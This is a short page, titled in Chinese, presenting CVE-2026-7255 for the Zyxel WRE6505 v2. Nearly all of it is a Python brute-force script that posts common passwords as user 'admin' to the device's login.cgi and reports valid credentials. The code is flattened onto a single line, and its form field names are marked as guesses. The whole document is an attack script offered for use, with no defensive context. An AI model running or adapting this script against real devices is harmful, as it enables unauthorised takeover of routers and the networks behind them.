CVE-2026-7255 Zyxel WRE6505 v2 Web管理接口认证绕过漏洞（暴力破解）

import requests # Target configuration target_ip = "192.168.1.1" target_url = f"http://{target_ip}/login.cgi" username = "admin" # Common password list for demonstration password_list = ["admin", "123456", "password", "zyxel", "root", "user"] headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } print(f"[*] Starting brute force attack against {target_url}") for password in password_list: # Payload construction (adjust parameter names based on actual form fields) payload = { "user": username, "pwd": password } try: response = requests.post(target_url, data=payload, headers=headers, timeout=5) # Check for successful login indicators (e.g., status code 200 and specific keywords) if response.status_code == 200 and "dashboard" in response.text.lower(): print(f"[+] SUCCESS! Valid credentials found: {username} / {password}") print(f"[+] Response length: {len(response.text)}") break else: print(f"[-] Failed attempt with password: {password}") except requests.RequestException as e: print(f"[!] Connection error: {e}") break print("[*] Attack completed.")